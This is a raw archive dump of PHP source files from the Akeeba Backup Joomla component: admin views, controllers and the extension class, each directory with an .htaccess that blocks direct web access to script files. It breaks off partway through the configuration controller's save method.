
#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.databasefilters');

		$this->addToolbar();

		HTMLHelper::_('bootstrap.tooltip', '.hasTooltip', [
			'placement' => 'right',
		]);

		/** @var DatabasefiltersModel $model */
		$model = $this->getModel();

		// Get a JSON representation of the available roots
		$root_info = $model->getRoots();
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $def)
			{
				$roots[]   = $def->value;
				$options[] = HTMLHelper::_('select.option', $def->value, $def->text);
			}
		}

		$siteRoot          = '[SITEDB]';
		$selectOptions     = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
			'list.attr'   => [
				'class' => 'form-select',
			],
		];
		$this->root_select = HTMLHelper::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;

		// Add script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Databasefilters&task=ajax', false));

		switch (strtolower($this->getLayout()))
		{
			case 'default':
			default:
				// Get the database entities GUI data
				$this->getDocument()
					->addScriptOptions('akeebabackup.Databasefilters.guiData', $model->makeListing($siteRoot))
					->addScriptOptions('akeebabackup.Databasefilters.viewType', 'list');

				break;

			case 'tabular':
				// Get the filter data for tabular display
				$this->getDocument()
					->addScriptOptions('akeebabackup.Databasefilters.guiData', [
						'list' => $model->getFilters($siteRoot)
					])
					->addScriptOptions('akeebabackup.Databasefilters.viewType', 'tabular');

				break;
		}

		// Translations
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_MISC');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_FUNCTION');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER');
		Text::script('COM_AKEEBABACKUP_DBFILTER_TABLE_META_ROWCOUNT');

		$this->getProfileIdAndName();
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_DBFILTER'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->linkButton('normal')
			->icon('fa fa-columns')
			->text('COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW')
			->url(Route::_('index.php?option=com_akeebabackup&view=Databasefilters&layout=default'));

		$toolbar->linkButton('tabular')
			->icon('fa fa-list-ul')
			->text('COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW')
			->url(Route::_('index.php?option=com_akeebabackup&view=Databasefilters&layout=tabular'));


		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/exclude-data-from-backup.html#files-and-directories-exclusion');
	}

}PK     \Sʉ      "  src/View/Databasefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \3܀    &  src/View/Regexfilefilters/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Regexfilefilters;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\RegexfilefiltersModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * SELECT element for choosing a database root
	 *
	 * @var  string
	 */
	public $root_select = '';

	/**
	 * List of database roots
	 *
	 * @var  array
	 */
	public $roots = [];

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.regexfilefilters');

		$this->addToolbar();

		HTMLHelper::_('bootstrap.tooltip', '.hasTooltip', [
			'placement' => 'right',
		]);

		/** @var RegexfilefiltersModel $model */
		$model = $this->getModel();


		// Get a JSON representation of the available roots
		$filters   = Factory::getFilters();
		$root_info = $filters->getInclusions('dir');
		$roots     = [];
		$options   = [];

		if (!empty($root_info))
		{
			// Loop all dir definitions
			foreach ($root_info as $dir_definition)
			{
				if (is_null($dir_definition[1]))
				{
					// Site root definition has a null element 1. It is always pushed on top of the stack.
					array_unshift($roots, $dir_definition[0]);
				}
				else
				{
					$roots[] = $dir_definition[0];
				}

				$options[] = HTMLHelper::_('select.option', $dir_definition[0], $dir_definition[0]);
			}
		}

		$siteRoot          = $roots[0];
		$selectOptions     = [
			'list.select' => $siteRoot,
			'id'          => 'active_root',
			'list.attr'   => [
				'class' => 'form-select',
			],
		];
		$this->root_select = HTMLHelper::_('select.genericlist', $options, 'root', $selectOptions);
		$this->roots       = $roots;

		// Add script options
		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Regexfilefilters&task=ajax', false))
			->addScriptOptions('akeebabackup.Regexfilefilters.guiData', [
				'list' => $model->get_regex_filters($siteRoot)
			]);

		// Translations
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES');

		$this->getProfileIdAndName();
	}

	private function addToolbar(): void
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_REGEXFSFILTERS'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/regex-files-directories-exclusion.html');
	}

}PK     \Sʉ      #  src/View/Regexfilefilters/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \fD        src/View/Profile/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Profile;

defined('_JEXEC') or die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Exception;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Form;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewToolbarTrait;

	/**
	 * The Form object
	 *
	 * @var    Form
	 * @since  1.5
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var    object
	 * @since  1.5
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var    object
	 * @since  1.5
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 *
	 */
	public function display($tpl = null): void
	{
		$errors = [];

		try
		{
			/** @var ProfileModel $model */
			$model       = $this->getModel();
			$this->form  = $model->getForm();
			$this->item  = $model->getItem();
			$this->state = $model->getState();
		}
		catch (Exception $e)
		{
			$errors = [$e->getMessage()];
		}

		// Check for errors.
		if (method_exists($this->getModel(), 'getErrors'))
		{
			/** @noinspection PhpDeprecationInspection */
			$errors = $this->getModel()->getErrors();
		}

		if (
			(is_array($errors) || $errors instanceof \Countable)
				? count($errors)
				: 0
		)
		{
			throw new GenericDataException(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @throws  Exception
	 * @since   9.0.0
	 */
	protected function addToolbar(): void
	{
		Factory::getApplication()->getInput()->set('hidemainmenu', true);

		$isNew = ($this->item->id == 0);

		ToolbarHelper::title($isNew ? Text::_('COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW') : Text::_('COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT'), 'icon-akeeba');

		$toolbar = $this->getToolbarCompat();
		$toolbar->apply('profile.apply');

		$saveGroup = $toolbar->dropdownButton('save-group');
		$saveGroup->configure(
			function (Toolbar $childBar) use ($isNew) {
				$childBar->save('profile.save');
				$childBar->save2new('profile.save2new');

				// If an existing item, can save to a copy.
				if (!$isNew)
				{
					$childBar->save2copy('profile.save2copy');
				}
			}
		);

		$toolbar->cancel('profile.cancel', $isNew ? 'JTOOLBAR_CANCEL' : 'JTOOLBAR_CLOSE');

		$toolbar->divider();

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/using-basic-operations.html#profiles-management');
	}
}PK     \Sʉ        src/View/Profile/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \I'X
  
    src/View/Discover/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Discover;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\DiscoverModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * The directory we are currently listing
	 *
	 * @var  string
	 */
	public $directory;

	/**
	 * The list of importable archive files in the current directory
	 *
	 * @var  array
	 */
	public $files;

	public function onBeforeMain()
	{
		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.discover');

		$this->addToolbar();

		/** @var DiscoverModel $model */
		$model = $this->getModel();

		$this->directory = $model->getState('directory', '');

		if (empty($this->directory))
		{
			$this->directory = Factory::getConfiguration()->get('akeeba.basic.output_directory', '[DEFAULT_OUTPUT]');
		}

		// Push translations
		Text::script('COM_AKEEBABACKUP_CONFIG_UI_BROWSE');
		Text::script('COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT');

		$this->getDocument()
			->addScriptOptions('akeebabackup.Configuration.URLs', [
				'browser' => Route::_('index.php?option=com_akeebabackup&view=Browser&processfolder=0&tmpl=component&folder=', false, Route::TLS_IGNORE, true),
			]);
	}

	public function onBeforeDiscover()
	{
		/** @var DiscoverModel $model */
		$model = $this->getModel();

		$this->addToolbar();

		$filter          = InputFilter::getInstance();
		$this->directory = $model->getState('directory', '');
		$this->files     = $model->getFiles();

		$this->setLayout('discover');
	}

	private function addToolbar()
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_DISCOVER'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/discover-import-archives.html');
	}

}PK     \Sʉ        src/View/Discover/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \
  
  '  src/View/Multipledatabases/HtmlView.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\View\Multipledatabases;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewLoadAnyTemplateTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewProfileIdAndNameTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewTaskBasedEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ViewToolbarTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\MultipledatabasesModel;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Uri\Uri;

#[\AllowDynamicProperties]
class HtmlView extends BaseHtmlView
{
	use ViewProfileIdAndNameTrait;
	use ViewLoadAnyTemplateTrait;
	use ViewTaskBasedEventsTrait;
	use ViewToolbarTrait;

	/**
	 * Main page
	 */
	public function onBeforeMain()
	{
		$this->addToolbar();

		$this->getDocument()->getWebAssetManager()
			->useScript('com_akeebabackup.multipledatabases');

		/** @var MultipledatabasesModel $model */
		$model = $this->getModel();

		$this->getProfileIdAndName();

		// Push translations
		Text::script('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING');
		Text::script('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK');
		Text::script('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL');
		Text::script('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL');
		Text::script('COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING');

		$this->getDocument()
			->addScriptOptions('akeebabackup.System.params.AjaxURL', Route::_('index.php?option=com_akeebabackup&view=Multipledatabases&task=ajax', false, Route::TLS_IGNORE, true))
			->addScriptOptions('akeebabackup.Multidb.loadingGif', Uri::root() . 'media/com_akeebabackup/icons/loading.gif')
			->addScriptOptions('akeebabackup.Multidb.guiData', $model->get_databases());
	}

	private function addToolbar()
	{
		$toolbar = $this->getToolbarCompat();
		ToolbarHelper::title(Text::_('COM_AKEEBABACKUP_MULTIDB'), 'icon-akeeba');

		$toolbar->back()
			->text('COM_AKEEBABACKUP_CONTROLPANEL')
			->icon('fa fa-' . (\Joomla\CMS\Factory::getApplication()->getLanguage()->isRtl() ? 'arrow-right' : 'arrow-left'))
			->url('index.php?option=com_akeebabackup');

		$toolbar->help(null, false, 'https://www.akeeba.com/documentation/akeeba-backup-joomla/include-data-to-archive.html#multiple-db-definitions');
	}
}PK     \Sʉ      $  src/View/Multipledatabases/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \71۹
  
  '  src/Extension/AkeebaBackupComponent.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Extension;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Service\ComponentParameters;
use Joomla\CMS\Application\CMSApplicationInterface;
use Joomla\CMS\Categories\CategoryServiceInterface;
use Joomla\CMS\Categories\CategoryServiceTrait;
use Joomla\CMS\Component\Router\RouterServiceInterface;
use Joomla\CMS\Component\Router\RouterServiceTrait;
use Joomla\CMS\Dispatcher\DispatcherInterface;
use Joomla\CMS\Extension\BootableExtensionInterface;
use Joomla\CMS\Extension\MVCComponent;
use Joomla\CMS\HTML\HTMLRegistryAwareTrait;
use Joomla\Database\DatabaseInterface;
use Joomla\DI\Container;
use Psr\Container\ContainerInterface;

class AkeebaBackupComponent extends MVCComponent implements
	BootableExtensionInterface, CategoryServiceInterface, RouterServiceInterface
{
	use HTMLRegistryAwareTrait;
	use RouterServiceTrait;
	use CategoryServiceTrait;

	/**
	 * The container we were created with
	 *
	 * @var   Container
	 * @since 9.3.0
	 */
	private $container;

	/**
	 * Booting the extension. This is the function to set up the environment of the extension like
	 * registering new class loaders, etc.
	 *
	 * If required, some initial set up can be done from services of the container, eg.
	 * registering HTML services.
	 *
	 * @param   ContainerInterface  $container  The container
	 *
	 * @return  void
	 *
	 * @since   9.0.0
	 */
	public function boot(ContainerInterface $container)
	{
		$this->container = $container;
	}

	/**
	 * Returns the Container the extension was created with.
	 *
	 * We are going to use it wherever we are not instantiated through the extension object, e.g. fields.
	 *
	 * @return  Container
	 * @since   9.3.0
	 */
	public function getContainer(): Container
	{
		return $this->container;
	}

	/**
	 * Returns the dispatcher for the given application.
	 *
	 * @param   CMSApplicationInterface  $application  The application
	 *
	 * @return  DispatcherInterface
	 * @since   9.3.0
	 */
	public function getDispatcher(CMSApplicationInterface $application): DispatcherInterface
	{
		$dispatcher = parent::getDispatcher($application);

		if (method_exists($dispatcher, 'setDatabase'))
		{
			$dispatcher->setDatabase($this->container->get(DatabaseInterface::class));
		}

		return $dispatcher;
	}

	/**
	 * Returns the component's parameters service
	 *
	 * @return ComponentParameters
	 *
	 * @since  9.4.0
	 */
	public function getComponentParametersService(): ComponentParameters
	{
		return $this->container->get(ComponentParameters::class);
	}
}PK     \Sʉ        src/Extension/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \D[  [  %  src/Controller/DiscoverController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerReusableModelsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\DiscoverModel;
use Akeeba\Engine\Factory;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Router\Route;
use Joomla\Input\Input;

class DiscoverController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerCustomACLTrait;
	use ControllerReusableModelsTrait;
	use ControllerRegisterTasksTrait;

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->registerControllerTasks();
	}

	public function main()
	{
		$this->display(false);
	}

	/**
	 * Discovers JPA, JPS and ZIP files in the selected profile's directory and
	 * lets you select them for inclusion in the import process.
	 */
	public function discover()
	{
		$this->checkToken();

		$directory = $this->input->get('directory', '', 'string');

		if (empty($directory))
		{
			$url = Route::_('index.php?option=com_akeebabackup&view=Discover', false);
			$msg = Text::_('COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY');

			$this->setRedirect($url, $msg, 'error');

			return;
		}

		$directory = Factory::getFilesystemTools()->translateStockDirs($directory);

		/** @var DiscoverModel $model */
		$model = $this->getModel('Discover', 'Administrator');
		$model->setState('directory', $directory);

		$this->display(false);
	}

	/**
	 * Performs the actual import and redirects to the appropriate page
	 */
	public function import()
	{
		$this->checkToken();

		$directory = $this->input->get('directory', '', 'string');
		$files     = $this->input->get('files', [], 'array');

		if (empty($files))
		{
			$url = Route::_('index.php?option=com_akeebabackup&view=Discover', false);
			$msg = Text::_('COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED');

			$this->setRedirect($url, $msg, 'error');

			return;
		}

		$directory = Factory::getFilesystemTools()->translateStockDirs($directory);

		/** @var DiscoverModel $model */
		$model = $this->getModel('Discover', 'Administrator');
		$model->setState('directory', $directory);

		foreach ($files as $file)
		{
			$id = $model->import($file);

			if (!empty($id))
			{
				$this->triggerEvent('onSuccessfulImport', [$id]);
			}
		}

		$url = Route::_('index.php?option=com_akeebabackup&view=Manage', false);
		$msg = Text::_('COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE');

		$this->setRedirect($url, $msg);
	}
}PK     \`wW7    &  src/Controller/StatisticController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Form\FormFactoryInterface;
use Joomla\CMS\MVC\Controller\FormController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\Input\Input;

class StatisticController extends FormController
{
	protected $text_prefix = 'COM_AKEEBABACKUP_BUADMIN';

	public function __construct($config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null, ?FormFactoryInterface $formFactory = null)
	{
		parent::__construct($config, $factory, $app, $input, $formFactory);

		$this->view_list = 'Manage';
		$this->view_item = 'Statistic';
	}

	protected function allowAdd($data = [])
	{
		return false;
	}

	protected function allowEdit($data = [], $key = 'id')
	{
		return $this->app->getIdentity()->authorise('akeebabackup.download', $this->option);
	}

	protected function allowSave($data, $key = 'id')
	{
		return $this->app->getIdentity()->authorise('akeebabackup.download', $this->option);
	}
}PK     \0s6,  ,  *  src/Controller/ConfigurationController.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Controller;

defined('_JEXEC') || die;

use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerCustomACLTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerEventsTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileAccessTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerProfileRestrictionTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Mixin\ControllerRegisterTasksTrait;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ConfigurationModel;
use Akeeba\Component\AkeebaBackup\Administrator\Model\ProfileModel;
use Akeeba\Engine\Platform;
use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Uri\Uri;
use Joomla\Input\Input;

class ConfigurationController extends BaseController
{
	use ControllerEventsTrait;
	use ControllerRegisterTasksTrait;
	use ControllerProfileAccessTrait;
	use ControllerCustomACLTrait
	{
		ControllerCustomACLTrait::onBeforeExecute as onBeforeExecuteACL;
	}
	use ControllerProfileRestrictionTrait
	{
		ControllerProfileRestrictionTrait::onBeforeExecute as onBeforeExecuteRestrictedProfile;
	}

	/**
	 * The default view.
	 *
	 * @var    string
	 * @since  1.6
	 */
	protected $default_view = 'Configuration';

	private bool $noFlush = false;

	public function __construct(
		$config = [], ?MVCFactoryInterface $factory = null, ?CMSApplication $app = null, ?Input $input = null
	)
	{
		parent::__construct($config, $factory, $app, $input);

		$this->noFlush = ComponentHelper::getParams('com_akeebabackup')->get('no_flush', 0) == 1;

		$this->registerControllerTasks('main');
	}

	/**
	 * Handle the apply task which saves the configuration settings and shows the page again
	 */
	public function apply($cachable = false, $urlparams = [])
	{
		// CSRF prevention
		$this->checkToken();

		// Which input am I going to use?
		// NOTE: We must use 'raw' to avoid Joomla's HTML-stripping filter corrupting JSON that contains angle brackets
		// (e.g. passwords like "<F9"). getString() would strip "<F9" as a malformed HTML tag, breaking json_decode.
		$jsonFormData = $this->input->get('jsonForm', null, 'raw');
		$jsonFormData = is_string($jsonFormData) ? @json_decode($jsonFormData, true) : $jsonFormData;

		if (empty($jsonFormData))
		{
			$input = $this->input;
		}
		else
		{
			$rawData = [];

			foreach ($jsonFormData as $k => $v)
			{
				if (substr($k, 0, 4) !== 'var[')
				{
					$rawData[$k] = $v;

					continue;
				}

				$k                  = substr($k, 4, -1);
				$rawData['var']     ??= [];
				$rawData['var'][$k] = $v;
			}

			$input = new Input($rawData);
		}

		// Get the var array from the request
		$data                        = $input->get('var', [], 'raw');
		$data['akeeba.flag.confwiz'] = 1;

		/** @var ConfigurationModel $model */
		$model = $this->getModel('Configuration', 'Administrator');
		$model->setState('engineconfig', $data);
		$model->saveEngineConfig();

		// Finally, save the profile description if it has changed
		$profileId = Platform::getInstance()->get_active_profile();

		$this->triggerEvent('onAfterApply', [$profileId]);

		// Update the profile name and quick icon definition
		/** @var ProfileModel $profileModel */
		$profileModel = $this->getModel('Profile', 'Administrator');
		/** @var object $profileRecord */
		$profileRecord = $profileModel->getItem($profileId);

		if ($profileRecord === false)
		{
			throw new \RuntimeException(
				'Internal error: cannot load the profile you are configuring. Did you delete it before saving the Configuration page?!',
				500
			);
		}

		$oldProfileName = $profileRecord->description;
		$oldQuickIcon   = $profileRecord->quickicon;

		$profileName = $input->getString('profilename', null);
		$profileName = trim($profileName);

		$quickIconValue = $input->getCmd('quickicon', '');
		$quickIcon      = (int) !empty($quickIconValue);

		$mustSaveProfile = !empty($profileName) && ($profileName != $oldProfileName);
		$mustSaveProfile = $mustSaveProfile || ($quickIcon != $oldQuickIcon);

		if ($mustSaveProfile)
		{
			$profileRecord->description = $profileName;
